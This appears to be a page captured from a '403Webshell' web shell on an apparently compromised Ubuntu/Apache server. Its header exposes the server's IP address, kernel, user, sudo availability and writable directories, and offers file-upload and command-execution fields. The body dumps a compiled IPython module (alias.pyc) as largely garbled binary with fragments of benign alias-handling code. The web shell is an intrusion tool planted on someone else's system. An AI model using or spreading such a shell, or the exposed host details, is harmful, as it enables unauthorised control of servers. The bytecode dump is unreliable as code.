403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.170
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/core/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/core/__pycache__/alias.cpython-312.pyc
�

}�e2'����dZddlZddlZddlZddlmZddlmZddlm	Z	m
Z
ddlmZejd�Z
d	�ZGd
�de�ZGd�d
e�ZGd�de�ZGd�de�Zy)zE
System command aliases.

Authors:

* Fernando Perez
* Brian Granger
�N)�Configurable�)�
UsageError)�List�Instance)�errorz^(\s*)()(\S+)(.*$)c�L�tjdk(rvgd�}tjj	d�rgd�}nGtjj	d�stjj	d�rgd�}ngd�}||z}|Stjd	vrgd
�}|Sg}|S)z1Return list of shell aliases to auto-define.
    �posix)��mkdirr��rmdirr)�mvr)�rmr)�cpr)�catr�linux))�lsz
ls -F --color)�llzls -F -o --color)�lfzls -F -o --color %l | grep ^-)�lkzls -F -o --color %l | grep ^l)�ldirzls -F -o --color %l | grep /$)�lxz ls -F -o --color %l | grep ^-..x�openbsd�netbsd))rzls -F)rzls -F -l)rzls -F -l %l | grep ^-)rzls -F -l %l | grep ^l)rzls -F -l %l | grep /$)rzls -F -l %l | grep ^-..x))rzls -F -G)rzls -F -l -G)rzls -F -l -G %l | grep ^-)rzls -F -l -G %l | grep ^l)rzls -F -G -l %l | grep /$)rzls -F -l -G %l | grep ^-..x)�nt�dos))rzdir /on)�ddir�dir /ad /on)rrrr
)�echor )�renr!)�copyr")�os�name�sys�platform�
startswith)�default_aliases�
ls_aliasess  �4/usr/lib/python3/dist-packages/IPython/core/alias.pyr(r((s���
�w�w�'�����<�<�"�"�7�+��J��\�\�
$�
$�Y�
/�3�<�<�3J�3J�8�3T��J��J�*�J�6����
���M�	!���������c��eZdZy)�
AliasErrorN��__name__�
__module__�__qualname__�r+r*r-r-q���r+r-c��eZdZy)�InvalidAliasErrorNr.r2r+r*r5r5ur3r+r5c�2�eZdZdZhd�Zd�Zd�Zd�Zdd�Zy)	�Aliasz�Callable object storing the details of one alias.

    Instances are registered as magic functions to allow use of aliases.
    >�cd�popd�alias�dhist�pushd�unaliasc��||_||_||_dj|�|_|j�|_y)NzAlias for `!{}`)�shellr$�cmd�format�__doc__�validate�nargs)�selfr?r$r@s    r*�__init__zAlias.__init__�s6����
���	����(�/�/��4����]�]�_��
r+c�d�|j|jvrtd|jz��	|jjj
d|j}t
|t�std|jz��t
|jt�std|jz��|jjd�|jjd�z
}|dkDr)|jjd�dk\rtd	��|S#t$rY��wxYw)
z7Validate the alias, and return the number of arguments.z@The name %s can't be aliased because it is a keyword or builtin.�linezAThe name %s can't be aliased because it is another magic command.z*An alias command must be a string, got: %r�%s�%%sr�%lzEThe %s and %l specifiers are mutually exclusive in alias definitions.)
r$�	blacklistr5r?�magics_manager�magics�
isinstancer7�KeyErrorr@�str�count�find)rE�callerrDs   r*rCzAlias.validate�s,���9�9����&�#�%J�LP�I�I�%V�W�
W�	\��Z�Z�.�.�5�5�f�=�d�i�i�H�F��f�e�,�'�)O�QU�QZ�QZ�)[�\�\��4�8�8�S�)�#�%.�04���%9�:�
:������t�$�t�x�x�~�~�e�'<�<���A�I�D�H�H�M�M�$�/�1�4�#�%F�G�
G����#�	��	�s�0D#�#	D/�.D/c�N�dj|j|j�S)Nz<alias {} for {!r}>)rAr$r@)rEs r*�__repr__zAlias.__repr__�s��$�+�+�D�I�I�t�x�x�@�@r+c
��|j}|j}|jd�dk\r|jd|�}d}|dk(r.|jd�dk\r|jdd�}|�d|��}np|j	d|�}t|�|kr(t
d|j�d	|�d
t|��d���|t|d|�z�ddj||d���}|jj|�y)NrKr�rJrrI� zAlias <z> requires z arguments, z given.)r@rDrS�replace�split�lenrr$�tuple�joinr?�system)rE�restr@rD�argss     r*�__call__zAlias.__call__�s����h�h���
�
���8�8�D�>�Q���+�+�d�D�)�C��D��!�8��x�x���!�#��k�k�%��.�� �$�'�C��:�:�d�E�*�D��4�y�5� � ��y�y�%��T��"4�5�5� �5��f�u��#6�6�s�x�x��U�V��7M�N�C��
�
���#�r+N)rX)	r/r0r1rBrLrFrCrVrbr2r+r*r7r7xs$���@�I�%��4A�r+r7c����eZdZee��jd��Zeg��jd��Zedd��Zd�fd�	Z	d�Z
ed��Zd	�Z
d
�Zd�Zd�Zd
�Zd�Zd�Z�xZS)�AliasManagerT)�config)�
default_valuez1IPython.core.interactiveshell.InteractiveShellABC)�
allow_nonec���tt|�
dd|i|��|jjj
d|_|j�y)Nr?rHr2)�superrdrFr?rMrN�
linemagics�init_aliases)rEr?�kwargs�	__class__s   �r*rFzAliasManager.__init__�sB���
�l�D�*�A��A�&�A��*�*�3�3�:�:�6�B������r+c���|j|jzD]S\}}|jd�r+|jjdk(r|jdd�}|j
||��Uy)Nzls �NoColorz --colorrX)r(�user_aliasesr'r?�colorsrZ�soft_define_alias�rEr$r@s   r*rkzAliasManager.init_aliases�sc���-�-��0A�0A�A�	.�I�D�#��~�~�e�$����):�):�i�)G��k�k�*�b�1���"�"�4��-�	.r+c��|jj�D��cgc]#\}}t|t�r||jf��%c}}Scc}}w�N)rj�itemsrOr7r@)rE�n�funcs   r*�aliaseszAliasManager.aliases�sD��/3���/D�/D�/F�8�)�1�d�)�$��6��D�H�H�
�8�	8��8s�(A
c�r�	|j||�y#t$r}td|z�Yd}~yd}~wwxYw)z2Define an alias, but don't raise on an AliasError.zInvalid alias: %sN)�define_aliasr-r)rEr$r@�es    r*rrzAliasManager.soft_define_alias�s8��	+����d�C�(���	+��%��)�*�*��	+�s��	6�1�6c��t|j||��}|jjj|d|��y)z�Define a new alias after validating it.

        This will raise an :exc:`AliasError` if there are validation
        problems.
        )r?r$r@rH)�
magic_kind�
magic_nameN)r7r?rM�register_function)rEr$r@rTs    r*r{zAliasManager.define_alias�s;���T�Z�Z�d��<���
�
�!�!�3�3�F�v�?C�	4�	Er+c�b�|jj|d�}t|t�r|SdS)z9Return an alias, or None if no alias by that name exists.N)rj�getrOr7)rEr$�anames   r*�	get_aliaszAliasManager.get_alias�s,�����#�#�D�$�/��"�5�%�0�u�:�d�:r+c�(�|j|�duS)z?Return whether or not a given name has been defined as an aliasN)r��rEr$s  r*�is_aliaszAliasManager.is_alias�s���~�~�d�#�4�/�/r+c�\�|j|�r|j|=ytd|z��)N�%s is not an alias)r�rj�
ValueErrorr�s  r*�undefine_aliaszAliasManager.undefine_alias�s+���=�=�������%��1�D�8�9�9r+c�N�|jD]\}}|j|��yru)ryr�rss   r*�
clear_aliaseszAliasManager.clear_aliases�s'�����	&�I�D�#�����%�	&r+c�\�|j|�}|r|jStd|z��)z/Retrieve the command to which an alias expands.r�)r�r@r�)rEr$rTs   r*�retrieve_aliaszAliasManager.retrieve_alias�s.������%����:�:���1�D�8�9�9r+ru)r/r0r1rr(�tagrprr?rFrk�propertyryrrr{r�r�r�r�r��
__classcell__)rms@r*rdrd�s�����?�,�-�1�1��1�>�O��b�)�-�-�T�-�:�L��H�UY�Z�E��.��8��8�+�E�;�
0�:�&�:r+rd)rBr#�rer%�traitlets.config.configurablerrr�	traitletsrr�logging�compile�shell_line_splitr(�	Exceptionr-r5�objectr7rdr2r+r*�<module>r�sq���*
�	�
�6��$���2�:�:�3�4��F�R	��	�	�
�	�B�F�B�PB:�<�B:r+

Youez - 2016 - github.com/yon3zu
LinuXploit